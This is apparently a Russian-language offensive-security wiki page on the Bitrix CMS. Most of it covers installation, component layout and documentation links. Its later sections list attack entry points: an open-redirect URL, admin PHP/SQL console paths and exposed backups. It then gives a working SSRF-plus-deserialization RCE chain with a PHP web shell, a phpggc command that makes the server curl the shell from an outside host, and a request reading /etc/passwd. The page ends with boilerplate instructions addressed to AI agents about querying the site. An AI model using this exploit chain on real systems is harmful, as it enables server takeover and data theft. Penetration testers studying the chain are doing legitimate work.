# Bitrix

## Src

link: <https://doc.budagov.ru/>

Git с bitrix разных версий: <https://github.com/avshatalov48/bitrix-core-business>

## Установка

### BitrixVM

Самой простой способ установить – поставить BitrixVM. Скачиваем с офф сайта Centos образ (OVA). Открываем в VMWare, даем доступ к сети для виртуалки.&#x20;

Запускаем, дефолтные кредсы – `root/bitrix` и `bitrix/bitrix`. Меняем пароль для обоих пользователей.

Настраиваем Management Pool (1 опция в следующем меню): указываем любой виртуальный хост и если сетка работает, то все ок. Что бы выйти в консоль на тачке, много раз выбираем опцию 0.

Теперь заходим по IP с хостовой системы и устанавливаем Bitrix CMS (Бизнес, демо доступ, и ставим сайт для разработчика).

Теперь у нас по пути `/home/bitrix/www` инсталяция битры. `/home/bitrix/www/bitrix` — здесь ядро битрикса со всеми плагинами.

Как узнать какая версия ядра битры у вас:

* В админке битры прокрутить в самый низ страницы
* Параметр `SM_VERSION` в сорцах (`modules/main/classes/general/version.php`)

Легкий способ забрать сорцы с тачки (чтобы не мучаться с открытием портов на centos): запаковать папку соответствующую, в админке в разделе управления контентом забрать из файлового менеджера.

### Digital Ocean

Поднял VM на Centos 7.

```
$ sudo yum install wget
$ wget http://repos.1c-bitrix.ru/yum/bitrix-env.sh
$ chmod +x bitrix-env.sh
$ ./bitrix-env.sh
```

Установка завершена. Необходимо провести первоначальную настройку.

![](/files/ivei6OFVYk8H5WBowvUW)

Запускаем оболочку BitrixVM командой

```
$ /root/menu.sh
```

После смены пароля откроется меню оболочки. Для продолжения работы нужно создать пул (чтобы можно было размещать сайты). Вводим «1» и жмем «Enter».

В открывшейся форме вводим имя сервера (можно просто нажать «Enter», чтобы оставить имя по умолчанию). После нажатия «Enter» — пул создан. Жмем любую кнопку для выхода в уже полноценное меню **BitrixVM**. Меню **BitrixVM** выглядит так:

![](/files/kPpVV4sWA5dXW8ROyiHD)

Для создания нового сайта или переноса существующего, переходим в браузере по адресу привязанного к **VPS** домена (или по IP-адресу **VPS**, первый вариант предпочтительнее) и выбираем «**Установить**» или «**Восстановить копию**».

### Другие способы установки

* Вроде как можно автоматизировать развертку битры на своей впс'ке (<https://handyhost.ru/help/poleznyie-stati/bitrixvm.html> через bitrix-env)
* Можно использовать PHP-скрипт bitrixsetup, он же используется в проекте bitrixdock (ребята обернули все необходимое окружение в Docker, подходит для разворачивания демки; <https://github.com/bitrixdock/bitrixdock>) Правда у меня не вышло ни на хостовой системе, ни на DO: возможно я что-то с окружением напутал, или надо подправить их конфиг, хз (**TODO**).

## Что внутри

### Ядро

**Ядро продукта** - файлы, находящиеся в директории `/bitrix/modules/` а так же файлы системных компонентов: `/bitrix/components/bitrix/`.

### Компоненты

Компонент — то, что пишет уже разработчик — независимая функциональность (= библиотека).&#x20;

```
Папка компонента может содержать следующие подпапки и файлы:

    подпапку /lang, в которой расположены файлы языковых сообщений (переводов) компонента. В ней также могут размещаться папки помощи /help.
    подпапку /templates, в которой расположены шаблоны вывода (отображения) компонента. Эта подпапка может отсутствовать, если у компонента нет шаблонов вывода.
    файл component.php, который содержит логику (код) компонента. Задача этого файла - сформировать из полученных параметров ($arParams) массив $arResult, который впоследствии попадет в шаблон компонента. Этот файл должен присутствовать в папке компонента, если только логика компонента не размещена в файле class.php.
    файл .description.php, который содержит название, описание компонента и его положение в дереве логического размещения (для редактора). Этот файл должен всегда присутствовать в папке компонента. Его отсутствие не скажется на работе компонента, но размещение компонента через визуальный редактор станет невозможным.
    файл .parameters.php, который содержит описание входных параметров компонента для редактора. Если у компонента есть входные параметры, то этот файл должен присутствовать в папке компонента.
    файл class.php для поддержки ООП-компонентов. В этом файле так же может размещаться логика (код) компонента.
    файл script.js, может подключаться из шаблона, а может из кода компонента .
    любые другие папки и файлы с ресурсами, необходимыми компоненту, например, папка /images.

```

Компоненты в Bitrix Framework должны храниться только в определенных местах:

* в папке `/bitrix/components/bitrix` (по умолчанию);
* в папке `/bitrix/components/собственное пространство имен`.
* в папке `/local/components/` (рекомендуется для собственных компонентов сторонних разработчиков)

Все компоненты находятся в папке `/bitrix/components/`. Системные компоненты находятся в папке `/bitrix/components/bitrix/`. Содержимое этой папки обновляется системой обновлений и не может изменяться пользователями.

Пользовательские компоненты могут находиться в любых других подпапках папки `/bitrix/components/` или прямо в папке `/bitrix/components/`, но рекомендуется папка `/local/components/`.

Подключение:

В самом общем виде подключение компонента осуществляется следующим образом:

```
<?$APPLICATION->IncludeComponent(
   $componentName,         // имя компонента
   $componentTemplate,     // шаблон компонента, пустая строка если шаблон по умолчанию
   $arParams=array(),      // параметры
   $parentComponent=null,  // null или объект родительского компонента
   $arFunctionParams=array()
);?>
```

## Docs

Курс от компании битрикс для разработчиков: <https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=43&INDEX=Y>

Документация по продукту 1С-Битрикс Управление сайтом: <http://dev.1c-bitrix.ru/user_help/>

Документация для разработчиков: <http://dev.1c-bitrix.ru/api_help/>

Документация для разработчиков по Rest API: <http://dev.1c-bitrix.ru/rest_help/>

Про битрикс с точки зрения экосистемы: <https://habr.com/ru/post/282333/>

## Заход через регистрацию

Link: <https://t.me/webpwn/345>

## Open Redirect&#x20;

Будет предупреждение. Как бы все ок, но все же

```
https://<domain>/<path>/bitrix/redirect.php?goto=<redirect>
```

## Внутри консоли PHP и SQL

Можно проверять на доступ к функциям специфичным (например, shell\_exec)

```
https://<domain>/bitrix/admin/sql.php
https://<domain>/bitrix/admin/php_command_line.php
```

## Настройки

Настройки смотреть здесь: [https://\<domain>/bitrix/admin/settings.php](https://staging.s-devices.ony.digital/bitrix/admin/settings.php)

В Bitrix есть компонент — Сканер безопасности. Он выдает толковые вещи и рекомендации по устранению:

```
https://<domain>/bitrix/admin/security_scanner.php
```

## Проверить, не палит ли бэкапы:

```
/bitrix/backup/
```

## SSRF + Deser = RCE

Версии ядра «Битрикс» до `20.0.975` содержат уязвимость типа SSRF, которая в комбинации с небезопасной десериализацией позволяет выполнить произвольный код в контексте операционной системы.&#x20;

```
$ cat payload
<?php system($_REQUEST['some_s3cr3t_post_param_for_rce']); ?>
$ php phpggc Bitrix/RCE2 system 'curl http://my.domain.com/payload -o /var/www/some.domain.bitrix.com/bitrix/tools/test_23235235.php' -b
```

Таким образом по пути /var/www/some.domain.bitrix.com/bitrix/tools/test\_23235235.php загружен шелл

Делаем запрос:

```
POST /bitrix/tools/test_23235235.php HTTP/1.1
Host: some.domain.bitrix.com

some_s3cr3t_post_param_for_rce=cat /etc/passwd
```

&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://appsecurity.gitbook.io/offensive/appsec/technologies/web/adminki-crm/bitrix.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
